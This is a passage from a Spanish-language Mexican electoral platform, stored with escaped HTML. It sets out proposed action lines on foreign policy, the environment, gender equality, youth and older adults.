efectiva a nivel global. M\u00e9xico es uno de los pa\u00edses m\u00e1s afectados por el cambio clim\u00e1tico y sus consecuencias. Por ello, debemos abanderar de manera muy destacada esta causa a nivel internacional.<\/li>\n<li><strong>Promover una pol\u00edtica exterior proactiva e incluyente.<\/strong> Como parte de nuestra nueva manera de hacer pol\u00edtica, tambi\u00e9n debemos tomar iniciativas y buscar los consensos necesarios con las fuerzas pol\u00edticas y los sectores sociales, as\u00ed como nutrirlas del di\u00e1logo con centros acad\u00e9micos. Queremos ser proactivos en las causas estrat\u00e9gicas y construir mecanismos transparentes y participativos para la toma de decisiones de pol\u00edtica exterior.<\/li>\n<li><strong>Proyectar en el exterior la importancia del \u201cpoder suave\u201d.<\/strong> Debemos proyectar el papel y la posici\u00f3n democr\u00e1tica de M\u00e9xico, nuestros valores culturales, as\u00ed como la imagen de un pa\u00eds decidido a enfrentar sus retos y construir un gran futuro. En consonancia, tenemos que impulsar formas de diplomacia m\u00e1s all\u00e1 de la tradicional, tales como la cultural, la cient\u00edfica, la acad\u00e9mica y la parlamentaria.<\/li>\n<li><strong>Profundizar relaciones bilaterales y di\u00e1logo pol\u00edtico con actores clave.<\/strong> M\u00e9xico ha expandido su relaci\u00f3n pol\u00edtica a todos los rincones del mundo. En esa medida, en cuanto m\u00e1s diversificadas sean nuestras relaciones, mejor ser\u00e1 para todos los pa\u00edses involucrados. Entre las oportunidades estrat\u00e9gicas con pa\u00edses selectos se cuentan: profundizar y diversificar la relaci\u00f3n con Argentina, Chile y Brasil; incrementar el comercio bilateral y la inversi\u00f3n en infraestructura, industria automotriz y tecnolog\u00edas limpias con Jap\u00f3n; promover el intercambio comercial, la inversi\u00f3n y el turismo con Canad\u00e1; buscar acceso de m\u00e1s productos mexicanos al mercado chino; impulsar el intercambio econ\u00f3mico tecnol\u00f3gico y comercial con Corea del Sur; crear v\u00ednculos fuertes con India e Indonesia, potencias regionales con peso econ\u00f3mico creciente.<\/li>\n<li><strong>Diversificar las relaciones estrat\u00e9gicas con todas las regiones del mundo.<\/strong> De esa manera podremos reducir los riesgos de las relaciones tradicionalmente importantes para nuestro pa\u00eds. Algunas alternativas son: diversificar el destino de las exportaciones y fuentes de inversi\u00f3n; m\u00e1s comercio, inversi\u00f3n y cooperaci\u00f3n con Am\u00e9rica Latina y el Caribe; consolidar la Alianza del Pac\u00edfico e impulsarla como plataforma de integraci\u00f3n con pa\u00edses en otras regiones; modernizar el Acuerdo Global con la Uni\u00f3n Europea; reforzar la integraci\u00f3n comercial y el di\u00e1logo pol\u00edtico con Asia Pac\u00edfico; atraer inversiones de los pa\u00edses del Golfo P\u00e9rsico y negociar un TLC con Jordania y Turqu\u00eda; aumentar los proyectos de cooperaci\u00f3n con \u00c1frica; vigorizar la relaci\u00f3n con las naciones anglo y francoparlantes del Caribe; impulsar acuerdos con Centroam\u00e9rica en temas como la Estrategia de Seguridad en Centroam\u00e9rica.<\/li>\n<li><strong>Potenciar las actividades de cooperaci\u00f3n internacional para el desarrollo.<\/strong> Debemos fortalecer nuestra Agencia de Cooperaci\u00f3n Internacional para el Desarrollo (AMEXCID) y buscar cumplir gradualmente el compromiso de destinar, por lo menos, 0.7% del PIB a la cooperaci\u00f3n internacional para el desarrollo. En particular, debemos promover la cooperaci\u00f3n Sur-Sur en temas como educaci\u00f3n, cultura, tecnolog\u00eda, salud, recursos h\u00eddricos, gobernabilidad global, derechos humanos, seguridad y justicia, y la democracia de las instituciones y organizaciones internacionales.<\/li>\n<\/ol>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tCausa transversal 1: Desarrollo sustentable y sostenible.\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 El desarrollo del pa\u00eds no puede ser entendido al margen del cuidado al medio ambiente. En M\u00e9xico, el medio ambiente ha tenido grandes afectaciones a consecuencia de las diversas actividades humanas que generan contaminaci\u00f3n, as\u00ed como del cambio clim\u00e1tico, lo cual ha puesto en riesgo los recursos naturales y la biodiversidad. Hemos sufrido fen\u00f3menos meteorol\u00f3gicos como consecuencia del cambio clim\u00e1tico, tales como ciclones tropicales, huracanes de mayor intensidad, aumento del nivel del mar, al igual que da\u00f1os en el suelo por su desertificaci\u00f3n.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Entre los principales factores que repercuten en el deterioro ambiental, se encuentra la generaci\u00f3n de residuos, afectando la calidad del aire, agua y suelo, lo cual a su vez provoca severos problemas de salud y afectaciones en los ecosistemas naturales. Somos uno de los principales consumidores de agua a nivel mundial, por lo cual la gesti\u00f3n integral y sustentable del agua debe ser una prioridad nacional, un asunto de seguridad nacional. Adicionalmente, la generaci\u00f3n de energ\u00eda el\u00e9ctrica a partir de las fuentes tradicionales como carb\u00f3n, petr\u00f3leo y gas es muy costosa y contaminante. Deberemos centrarnos en la producci\u00f3n y el uso de energ\u00edas limpias.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Tan necesario y urgente es profundizar el crecimiento econ\u00f3mico, como lograrlo con una perspectiva de sustentabilidad y largo plazo. Necesitamos adoptar una agenda medioambiental y de sustentabilidad transversal para aprovechar el potencial de desarrollo que tenemos. Debe ser un criterio que oriente todas nuestras pol\u00edticas, desde la econ\u00f3mica y la exterior, hasta la social y la educativa.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Somos un pa\u00eds \u00fanico que se distingue internacionalmente por su patrimonio ambiental y la abundancia de recursos naturales que poseemos, reconocido y admirado como un pa\u00eds megadiverso. Todos tenemos el derecho de vivir en un entorno sano y que los recursos naturales que tenemos a nuestro alcance puedan ser aprovechados, en igualdad de condiciones, para promover tanto el bienestar familiar y comunitario de los mexicanos hoy como tambi\u00e9n el de las futuras generaciones.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 El derecho es compartido, al igual que la responsabilidad: el cuidado del ambiente no es una pol\u00edtica p\u00fablica espec\u00edfica que pueda ser asignada a una sola dependencia gubernamental o si quiera al Estado mexicano o incluso a nuestro pa\u00eds en su conjunto. Se trata de un desaf\u00edo global que tiene que ser enfrentado a nivel global. En ese sentido, planteamos las siguientes propuestas espec\u00edficas en materia ambiental.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>L\u00edneas de acci\u00f3n<\/strong><\/p>\n<ol>\n<li><strong>Promover la adopci\u00f3n de pol\u00edticas con enfoque de sustentabilidad y sostenibilidad en todos los sectores.<\/strong> Por la naturaleza transversal del reto que enfrentamos, debemos incorporar el enfoque de sustentabilidad y sostenibilidad en todos nuestros esfuerzos como gobierno.<\/li>\n<li><strong>Promover la concertaci\u00f3n entre los sectores p\u00fablico, social y privado.<\/strong> Para enfrentar el enorme reto que representa la preservaci\u00f3n del medio ambiente, requerimos una mejor planeaci\u00f3n y coordinaci\u00f3n entre los diferentes sectores y \u00f3rdenes de gobierno, as\u00ed como el sector p\u00fablico y social.<\/li>\n<li><strong>Promover la adaptaci\u00f3n ante el cambio clim\u00e1tico. <\/strong>Al tiempo que nos esforzamos para mitigar los efectos del cambio clim\u00e1tico, debemos aceptar la realidad de que la humanidad ha hecho da\u00f1os irreversibles al medio ambiente. En ese sentido, necesitamos desarrollar medidas de adaptaci\u00f3n, como por ejemplo fortalecer nuestros sistemas de protecci\u00f3n civil o invertir en infraestructura clave para proteger a la poblaci\u00f3n y sus bienes de desastres naturales inevitables, priorizando las poblaciones ubicadas en zonas de riesgo.<\/li>\n<li><strong>Impulsar el combate al cambio clim\u00e1tico a nivel internacional.<\/strong> Si queremos abanderar la causa del cambio clim\u00e1tico a nivel global, debemos en primer lugar cumplir los compromisos que adquirimos en el Acuerdo de Par\u00eds. Al mismo tiempo, debemos aprovechar las oportunidades de cooperaci\u00f3n y asistencia t\u00e9cnica para impulsar medidas de adaptaci\u00f3n y mitigaci\u00f3n, as\u00ed como la participaci\u00f3n de M\u00e9xico en mercados de bonos de carbono internacionales.<\/li>\n<li><strong>Promover la producci\u00f3n y el uso de energ\u00edas limpias, al igual que la eficiencia energ\u00e9tica.<\/strong> Debemos incentivar la producci\u00f3n de energ\u00edas limpias, as\u00ed como el desarrollo y la adopci\u00f3n de tecnolog\u00edas que aumenten la eficiencia energ\u00e9tica por parte de instituciones p\u00fablicas, empresas y particulares. Podemos aprovechar el potencial de las energ\u00edas limpias como la solar, e\u00f3lica e hidroel\u00e9ctrica, entre otras. Por ello debemos incentivar la instalaci\u00f3n de tecnolog\u00edas que permitan el uso de radiaci\u00f3n solar en edificios e infraestructura p\u00fablica y privada, as\u00ed como promover el uso de biocombustibles de segunda y tercera generaci\u00f3n en procesos productivos y en el sector de transporte. Por otra parte, tenemos que hacer m\u00e1s eficiente y limpia la producci\u00f3n de energ\u00eda en el sector hidrocarburos como por ejemplo promoviendo la recuperaci\u00f3n de gas natural en la producci\u00f3n petrolera.<\/li>\n<li><strong>Promover la transformaci\u00f3n productiva de la basura en energ\u00eda. <\/strong>En M\u00e9xico se generan 117 mil toneladas de basura al d\u00eda, de las cuales el 70% llegan a oc\u00e9anos, r\u00edos, barrancas, bosques y tiraderos clandestinos. Se requiere adoptar una visi\u00f3n con responsabilidad ambiental en la materia, que aproveche los residuos mediante la biodigesti\u00f3n y la termovalorizaci\u00f3n para generar energ\u00eda el\u00e9ctrica y mitigar la degradaci\u00f3n ambiental y los da\u00f1os a la salud. Para ello impulsaremos la reducci\u00f3n progresiva de disposici\u00f3n final de residuos que son aprovechables.<\/li>\n<li><strong>Promover el cuidado del medio ambiente desde la educaci\u00f3n.<\/strong> En el marco del nuevo Modelo Educativo y a trav\u00e9s de espacios como la autonom\u00eda curricular, debemos impulsar la educaci\u00f3n ambiental para fomentar la conciencia de los retos que enfrentamos. La educaci\u00f3n es fundamental para promover conductas ambientalmente responsables en nuestros alumnos<\/li>\n<li><strong>Desarrollar nuestro talento especializado y promover la investigaci\u00f3n e innovaci\u00f3n en temas ambientales.<\/strong> Debemos promover la formaci\u00f3n de especialistas altamente calificados en materia ambiental, al mismo tiempo que fomentemos la investigaci\u00f3n cient\u00edfica, el desarrollo tecnol\u00f3gico y la innovaci\u00f3n en el sector.<\/li>\n<li><strong>Mejorar la gesti\u00f3n de la calidad del aire y protecci\u00f3n de la atm\u00f3sfera. <\/strong>Debemos fortalecer las medidas para reducir las emisiones de contaminantes priorizando los sectores que m\u00e1s contaminan como por ejemplo el transporte comercial y de pasajeros. Es fundamental establecer un sistema de cuencas atmosf\u00e9ricas que nos permitan atender la problem\u00e1tica de manera puntual.<\/li>\n<li><strong>Mejorar la gesti\u00f3n de residuos s\u00f3lidos. <\/strong>Debemos desarrollar pol\u00edticas e instrumentos espec\u00edficos para minimizar la generaci\u00f3n de residuos s\u00f3lidos, al mismo tiempo que fomentemos el aprovechamiento de los mismos en minimizaci\u00f3n, reutilizaci\u00f3n y reciclaje, as\u00ed como para la elaboraci\u00f3n de compostas y producci\u00f3n de energ\u00eda cuando esto es sea posible.<\/li>\n<li><strong>Mejorar la gesti\u00f3n integral y sustentable del agua.<\/strong> Debemos desarrollar e instrumentar una pol\u00edtica h\u00eddrica nacional que promueva el manejo integral y sustentable del agua en cuencas y acu\u00edferos con la participaci\u00f3n conjunta de sociedad y autoridades de los diferentes \u00f3rdenes de gobierno, usuarios y organismos operadores. Asimismo, tenemos que mejorar la coordinaci\u00f3n entre sectores productivos, en particular con el sector agr\u00edcola. Al mismo tiempo tenemos que promover el consumo racional de agua. Es indispensable evitar la sobreexplotaci\u00f3n de cuencas y acu\u00edferos a trav\u00e9s de la reutilizaci\u00f3n forzosa de aguas tratadas en actividades agr\u00edcolas, industriales y riego de \u00e1reas verdes, as\u00ed como de incentivar el desarrollo de infraestructura para captaci\u00f3n de agua pluvial. Todo esto nos permitir\u00e1 tener un mejor y mayor abastecimiento de recursos h\u00eddricos para la poblaci\u00f3n que hoy sufre de escasez. Finalmente, debemos continuar invirtiendo en la construcci\u00f3n y el mantenimiento de la infraestructura hidr\u00e1ulica del pa\u00eds, y desarrollar mecanismos de captaci\u00f3n y potabilizaci\u00f3n.<\/li>\n<li><strong>Combatir la deforestaci\u00f3n y promover la reforestaci\u00f3n.<\/strong> Como parte de la estrategia de mitigaci\u00f3n y adaptaci\u00f3n al cambio clim\u00e1tico, es crucial que frenemos la deforestaci\u00f3n y la degradaci\u00f3n del suelo, protegiendo los ecosistemas naturales mediante \u00e1reas naturales protegidas y pr\u00e1cticas sustentables de manejo forestal y vida silvestre. Asimismo, tenemos que crear condiciones e instrumentos para ampliar la cobertura forestal.<\/li>\n<li><strong>Expandir las \u00e1reas naturales protegidas en el territorio nacional<\/strong>. Es necesario continuar fortaleciendo el Sistema Nacional de \u00c1reas Naturales Protegidas.<\/li>\n<li><strong>Protecci\u00f3n de animales.<\/strong> Tenemos que regular de manera adecuada la comercializaci\u00f3n y el manejo de las especies silvestres, as\u00ed como de aquellas que se poseen como mascotas o animales de compa\u00f1\u00eda, prohibiendo de manera definitiva su venta en v\u00eda p\u00fablica para evitar su maltrato. Por su parte, las especies dom\u00e9sticas deben estar resguardadas, previo a su comercializaci\u00f3n, en lugares que cuenten con la infraestructura necesaria y el personal capacitado para su manejo.<\/li>\n<li><strong>Protecci\u00f3n a mam\u00edferos marinos.<\/strong> La celebraci\u00f3n de espect\u00e1culos p\u00fablicos o privados, incluyendo los espect\u00e1culos a domicilio, fijos o itinerantes con cualquier especie de mam\u00edferos marinos, as\u00ed como el uso de mam\u00edferos marinos con fines econ\u00f3micos de manejo, adiestramiento, entrenamiento y terapia, ocasiona reiteradamente situaciones de maltrato f\u00edsico y psicol\u00f3gico que atentan en contra de su naturaleza y no existe evidencia cient\u00edfica alguna de los beneficios que aporta al ser humano la convivencia con dichas especies, por lo que este tipo de eventos no tiene justificaci\u00f3n.<\/li>\n<li><strong>Corresponsabilidad en la protecci\u00f3n y conservaci\u00f3n de los recursos naturales.<\/strong> Se requiere una mayor corresponsabilidad de todos los niveles de gobierno en el financiamiento de las pol\u00edticas encaminadas a la protecci\u00f3n y conservaci\u00f3n de los recursos naturales, por lo que ser\u00e1 necesario asegurar que en los tres niveles de gobierno se contemplen partidas presupuestales para este fin.<\/li>\n<\/ol>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tCausa transversal 2: Igualdad de g\u00e9nero sustantiva.\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En los \u00faltimos a\u00f1os hemos dado pasos importantes en la ruta hacia la igualdad de g\u00e9nero. Como pa\u00eds hemos logrado la paridad en la matr\u00edcula educativa en todos los niveles, de preescolar hasta la educaci\u00f3n superior, y las ni\u00f1as y j\u00f3venes tienden a obtener mejores resultados que sus pares varones. En materia pol\u00edtica, la reforma pol\u00edtico-electoral hizo posible que hoy el 42% de los integrantes de la C\u00e1mara de Diputados y el 38% en el Senado de la Rep\u00fablica sean mujeres. Tan s\u00f3lo en los \u00faltimos cuatro a\u00f1os, se ha reducido la brecha salarial entre el hombre y la mujer en un 40%.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 No obstante, la igualdad entre mujeres y hombres sigue siendo, sin lugar a duda, uno de los pendientes m\u00e1s significativos que tenemos como sociedad. De manera espec\u00edfica, la violencia de g\u00e9nero -una pandemia global que no reconoce fronteras- afecta a la mayor\u00eda de las mujeres mexicanas: dos de cada tres mexicanas han sufrido al menos un incidente de violencia de g\u00e9nero a lo largo de su vida. Esta situaci\u00f3n es inaceptable y debemos combatirla de manera urgente.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La igualdad de g\u00e9nero no s\u00f3lo es un acto de justicia, sino tambi\u00e9n una gran oportunidad de crecimiento econ\u00f3mico y desarrollo. Empoderar a la mujer es empoderar a nuestra sociedad y darle mejores herramientas para crecer y desarrollarse. La Organizaci\u00f3n para la Cooperaci\u00f3n y el Desarrollo Econ\u00f3micos (OCDE) afirma que, si el \u00edndice de participaci\u00f3n laboral y econ\u00f3mica de las mujeres se igualara al de los hombres, para 2030 el PIB mundial se incrementar\u00eda en 12%.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 A fin de cerrar las brechas de acceso e inclusi\u00f3n econ\u00f3mica, laboral, educativa, patrimonial y de salud de las mujeres y las ni\u00f1as, as\u00ed como erradicar la violencia de g\u00e9nero, debemos emprender acciones contundentes que involucren a todos los sectores de la sociedad, donde todos los ciudadanos y de manera destacada los hombres tienen un papel clave que desempe\u00f1ar.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Ello implica en primer lugar incrementar la capacidad institucional para conducir una pol\u00edtica integral de igualdad y no discriminaci\u00f3n a nivel nacional. \u00c9sta no se puede limitar a una dependencia o un sector, sino que, al igual que el cuidado del medio ambiente, debe incorporarse como un enfoque de g\u00e9nero en todos nuestros esfuerzos.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Tenemos que alcanzar la equidad salarial y erradicar la brecha que a\u00fan persiste entre hombres y mujeres. Las diferencias de g\u00e9nero se perciben no s\u00f3lo en los puestos de trabajo que ocupan, sino que en ocasiones la discriminaci\u00f3n salarial en las empresas tiene que ver con el salario que perciben. Igualmente, hay que implementar esquemas innovadores para impulsar un mayor equilibrio entre la vida familiar y la laboral, lo cual implica una participaci\u00f3n m\u00e1s equitativa de hombres y mujeres en las tareas de cuidado y mantenimiento del hogar. Tambi\u00e9n incluye ampliar los esfuerzos de inclusi\u00f3n financiera y apoyo al emprendedurismo.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>L\u00edneas de acci\u00f3n<\/strong><\/p>\n<ol>\n<li><strong>Combatir la violencia de g\u00e9nero.<\/strong> Tenemos que impulsar procesos de tratamiento integral que vayan desde la prevenci\u00f3n educativa hasta la sanci\u00f3n de los culpables y refugios para las v\u00edctimas, con el fin de reducir significativamente los \u00edndices de violencia contra las mujeres. De manera muy particular, el feminicidio es una barbarie que no puede ser tolerada bajo ninguna circunstancia.<\/li>\n<li><strong>Establecer el principio de equidad salarial. <\/strong>Para erradicar la brecha de g\u00e9nero en los ingresos, debemos establecer mecanismos para asegurar que los patrones paguen los mismos salarios a sus trabajadores, sin discriminaci\u00f3n de g\u00e9nero. A trabajo igual, salario igual.<\/li>\n<li><strong>Promover el empoderamiento econ\u00f3mico de las mujeres.<\/strong> M\u00e1s all\u00e1 de la equidad salarial, tenemos que facilitar la incorporaci\u00f3n de las mujeres a la vida laboral, particularmente de aquellas que son madres. Capacitar a las mujeres con el debido asesoramiento para la elaboraci\u00f3n de proyectos productivos viables, como parte de la estrategia de apoyo a su econom\u00eda en el marco de los programas que desempe\u00f1a el gobierno para las j\u00f3venes emprendedoras. Ello pasa necesariamente por el involucramiento de los hombres, pero tambi\u00e9n implica medidas que permitan conciliar la vida laboral y familiar como programas de apoyo a la lactancia sin discriminaci\u00f3n.<\/li>\n<li><strong>Incrementar los espacios en guarder\u00edas.<\/strong> De la misma manera, es fundamental aumentar la oferta en guarder\u00edas y estancias infantiles con preescolar que, adem\u00e1s de educar y promover el desarrollo de los ni\u00f1os, garanticen el cuidado infantil y permiten una mayor flexibilidad a las familias.<\/li>\n<li><strong>Educar para la igualdad.<\/strong> Debemos implementar plenamente el nuevo Modelo Educativo para promover la educaci\u00f3n para la igualdad y que desde temprana edad, ni\u00f1os y ni\u00f1as aprendan a tratarse como iguales y combatir la discriminaci\u00f3n.<\/li>\n<li><strong>Promover la salud para la mujer. <\/strong>Tenemos que reforzar campa\u00f1as y programas de salud, as\u00ed como esfuerzos de prevenci\u00f3n para disminuir los embarazos de adolescentes y los indicadores de mortalidad materno-infantil. Asimismo, hay que fortalecer las campa\u00f1as para la detecci\u00f3n oportuna y el tratamiento del c\u00e1ncer de mama y cervicouterino.<\/li>\n<\/ol>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tCausa transversal 3: Apuesta por la juventud.\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 M\u00e9xico es un pa\u00eds de j\u00f3venes. Los j\u00f3venes son el coraz\u00f3n y el impulso innovador de nuestro pa\u00eds por lo que deberemos incentivar su participaci\u00f3n a trav\u00e9s del respeto a su diversidad, la formaci\u00f3n de su propio liderazgo y desarrollo de capacidades. El pa\u00eds debe aprovechar el bono demogr\u00e1fico que significa contar con 38 millones de mexicanos de 12 a 29 a\u00f1os. En particular, tenemos que estimular a la juventud para que se involucre m\u00e1s activamente en la vida pol\u00edtica del pa\u00eds, impulsando su empoderamiento y abriendo espacios para su participaci\u00f3n en la toma de decisiones sobre las pol\u00edticas de gobierno y el desarrollo de sus comunidades.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Debemos asegurarnos de que los j\u00f3venes tengan las oportunidades que necesitan a partir de una comprensi\u00f3n de sus necesidades y su momento de vida. No se trata de encasillar a los j\u00f3venes mediante la provisi\u00f3n de opciones restrictivas, sino de generar nuevas alternativas para aprovechar su energ\u00eda y detonar su crecimiento personal. Por eso, las pol\u00edticas enfocadas a los j\u00f3venes son una causa transversal de esta Plataforma Electoral y Programa de Gobierno.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 S\u00f3lo recuperando la confianza y credibilidad de los j\u00f3venes podr\u00e1 restablecerse la confianza entre gobierno y ciudadan\u00eda. Por eso, promoveremos la participaci\u00f3n individual y organizada de la juventud para canalizar las demandas y expectativas que contribuyan con su desarrollo. En este sentido, promoveremos oportunidades para que los j\u00f3venes participen en los tres \u00f3rdenes de gobierno y se har\u00e1n valer los mecanismos para postular el mayor n\u00famero de j\u00f3venes a cargos de elecci\u00f3n popular.<\/p>\n<p><strong>L\u00edneas de acci\u00f3n<\/strong><\/p>\n<ol>\n<li><strong>Educaci\u00f3n de calidad y pertinente con equidad e inclusi\u00f3n.<\/strong> La educaci\u00f3n es la herramienta m\u00e1s poderosa para que un joven pueda forjar su propio destino. Por ello, es clave avanzar en la transformaci\u00f3n que plantea el nuevo Modelo Educativo para elevar la calidad y la pertinencia de la educaci\u00f3n obligatoria. De manera m\u00e1s espec\u00edfica, debemos dar un mayor impulso a esquemas que vinculan la educaci\u00f3n con el sector productivo a partir de la vocaci\u00f3n productiva de cada regi\u00f3n, como lo son el Modelo Mexicano de Formaci\u00f3n Dual en el bachillerato o la Formaci\u00f3n en Alternancia en la educaci\u00f3n superior. De manera m\u00e1s general, debemos ampliar las oportunidades laborales de los j\u00f3venes mientras estudien.<\/li>\n<li><strong>Fortalecer la orientaci\u00f3n vocacional y difundir programas de becas.<\/strong> En el nivel superior, debemos promover el uso de las tecnolog\u00edas de la informaci\u00f3n para identificar la oferta y demanda de competencias en los principales sectores del pa\u00eds, promoviendo la especializaci\u00f3n y participaci\u00f3n de los j\u00f3venes en los sectores m\u00e1s din\u00e1micos de la econom\u00eda. Por otra parte, es importante informar a los j\u00f3venes de los programas de becas que existen tanto para estudiar en M\u00e9xico como en el extranjero.<\/li>\n<li><strong>Combatir la deserci\u00f3n y mejorar el ambiente escolar.<\/strong> Adem\u00e1s de la pertinencia de su formaci\u00f3n, la segunda gran estrategia para fomentar la permanencia de los j\u00f3venes en el sistema educativo son las becas. Por ello, debemos ampliar la oferta de becas para que ning\u00fan joven abandone sus estudios por falta de recursos. Al mismo tiempo, tenemos que hacer part\u00edcipes a los j\u00f3venes en el dise\u00f1o de propuestas para una mejor convivencia en los ambientes escolares, de manera que \u00e9stos no se conviertan en espacios de represi\u00f3n, sino de libertad para la adquisici\u00f3n y el goce del conocimiento.<\/li>\n<li><strong>Estimular la creatividad art\u00edstica de los j\u00f3venes.<\/strong> Debemos ampliar los espacios para su formaci\u00f3n art\u00edstica e impulsar pol\u00edticas de est\u00edmulos a quienes muestren mayores aptitudes y talento. Por otra parte, podemos involucrar a colectivos juveniles junto con los gobiernos estatales y municipales en proyectos de rehabilitaci\u00f3n, remodelaci\u00f3n y equipamiento de espacios culturales espec\u00edficos para j\u00f3venes.<\/li>\n<li><strong>Facilitar el empleo y promover el emprendedurismo de los j\u00f3venes.<\/strong> Debemos fomentar el impulso al empleo digno para los j\u00f3venes con esquemas como el servicio social remunerado, tomando en cuenta en todo momento la diversidad regional y \u00e9tnica de los j\u00f3venes. Al mismo tiempo, es necesario promover el esp\u00edritu emprendedor de los j\u00f3venes mediante apoyos y asesor\u00eda t\u00e9cnica, la disponibilidad de cr\u00e9ditos blandos e insumos productivos para impulsar su potencial productivo, innovador y creativo.<\/li>\n<li><strong>Fomentar el ahorro.<\/strong> De manera complementaria, es importante fomentar el ahorro y la responsabilidad financiera en las nuevas generaciones a fin de facilitar la construcci\u00f3n de su patrimonio y que tengan certeza econ\u00f3mica en el momento del retiro laboral.<\/li>\n<li><strong>Promover la salud y la activaci\u00f3n f\u00edsica de los j\u00f3venes.<\/strong> Un aspecto clave de la pol\u00edtica de j\u00f3venes debe ser el acceso a servicios de salud y programas de seguridad social flexibles y adecuados a las nuevas realidades del mercado laboral y contextos espec\u00edficos que enfrentan los j\u00f3venes en situaci\u00f3n de calle, con problemas de farmacodependencia, trastornos psicol\u00f3gicos o de nutrici\u00f3n, de ITS y VIH-SIDA. Asimismo, debemos impulsar campa\u00f1as de prevenci\u00f3n de enfermedades de transmisi\u00f3n sexual y embarazos adolescentes, as\u00ed como sobre los efectos nocivos del consumo de alcohol tabaco y drogas.<\/li>\n<li><strong>Asegurar el acceso a la justicia.<\/strong> Tenemos que impulsar la creaci\u00f3n de \u00f3rganos especializados en el sistema de procuraci\u00f3n e impartici\u00f3n para ofrecer orientaci\u00f3n y asesor\u00eda jur\u00eddica a los j\u00f3venes, as\u00ed como simplificar los procedimientos para denunciar el atropello de los derechos juveniles e incrementar el n\u00famero de centros donde \u00e9ste se realiza. Asimismo, hay que incorporar criterios de interpretaci\u00f3n que consideren la madurez psicosocial y otras caracter\u00edsticas derivadas de la condici\u00f3n juvenil de presuntos infractores y de quienes se encuentren responsables de alguna infracci\u00f3n, con el objeto de garantizar la pertinencia de los procedimientos que les son aplicables. Por otra parte, se debe separar a los primodelincuentes de los reclusos que por su pasado criminal ejercer\u00edan una influencia nociva sobre ellos y replantear las penas que se aplican a los j\u00f3venes sentenciados para dirigirlas a la reparaci\u00f3n del da\u00f1o, la readaptaci\u00f3n social y el trabajo en beneficio de la comunidad. Debemos restablecer el tejido social involucrando a los j\u00f3venes en su propio desarrollo.<\/li>\n<\/ol>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tCausa transversal 4: Aprovechando la experiencia.\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En Jalisco solamente hay casi un mill\u00f3n de adultos mayores con credencial de elector y el h\u00e1bito de sufragar regularmente, pero solamente alrededor de unos doscientos mil est\u00e1n pensionados debidamente, aunque no siempre el monto de sus ingresos resulta suficiente.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Vale se\u00f1alar que las mejoras sociales logradas por nuestro pa\u00eds han dado lugar a que la vida se alargue y la mayor\u00eda llegue a la edad del retiro en condiciones mucho mejores que anta\u00f1o.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Se calcula tambi\u00e9n que m\u00e1s de un 50% est\u00e1 en condiciones de desarrollar alguna actividad productiva aunque con horarios y de una naturaleza adecuada a su condici\u00f3n, pero su experiencia puede ser aprovechada en muchas actividades id\u00f3neas que reportaran o no algunos ingresos que no les caen mal, adem\u00e1s de que los hacen sentir \u00fatiles y contrarrestan la alienante monoton\u00eda de una existencia excesivamente pasiva y favorece tambi\u00e9n el di\u00e1logo intergeneracional no solamente en el seno familiar, sino tambi\u00e9n en el \u00e1mbito laboral.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Asimismo, tambi\u00e9n resultan programas educativos espec\u00edficos, siguiendo el precepto cl\u00e1sico de que los seres humanos tienen el derecho de seguir aprendiendo toda su vida.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Desde otro punto de vista, bien puede decirse que la pasividad y la marginaci\u00f3n constituyen peligrosos enemigos de la gente mayor y causa primigenia de la depresi\u00f3n que predomina en este sector de la poblaci\u00f3n.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Hablamos mucho de los j\u00f3venes que, por cierto votan menos y con frecuencia carecen de credencial para hacerlo. Es correcto hacerlo, pero vale la pena tener presente, por otro lado el precepto de que \u201cel voto no se jubila\u201d.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Finalmente, cabe tener en cuenta de que esta poblaci\u00f3n tiende a crecer. Seg\u00fan CONAPO, en 2050, habr\u00e1 32 millones de personas con m\u00e1s de 60 a\u00f1os. Vale la pena tomarlo en cuenta desde ahora y prepararnos para ello.<\/p>\n<p><strong>L\u00edneas de acci\u00f3n:<\/strong><\/p>\n<ol>\n<li><strong>Fomentar oportunidades de trabajo. <\/strong>Estas deber\u00e1n ser adecuadas en tiempo y forma a la condici\u00f3n del adulto mayor. Hay muchas actividades en las que la experiencia tiene un valor excepcional, lo mismo que otras que por su sencillez pueden ser desarrolladas por gente sin entrenamiento<\/li>\n<li><strong>Educaci\u00f3n continuada. <\/strong>Abrir programas de ense\u00f1anza de diversas actividades tanto manuales como te\u00f3ricas que pueden resultar altamente satisfactorias para adultos 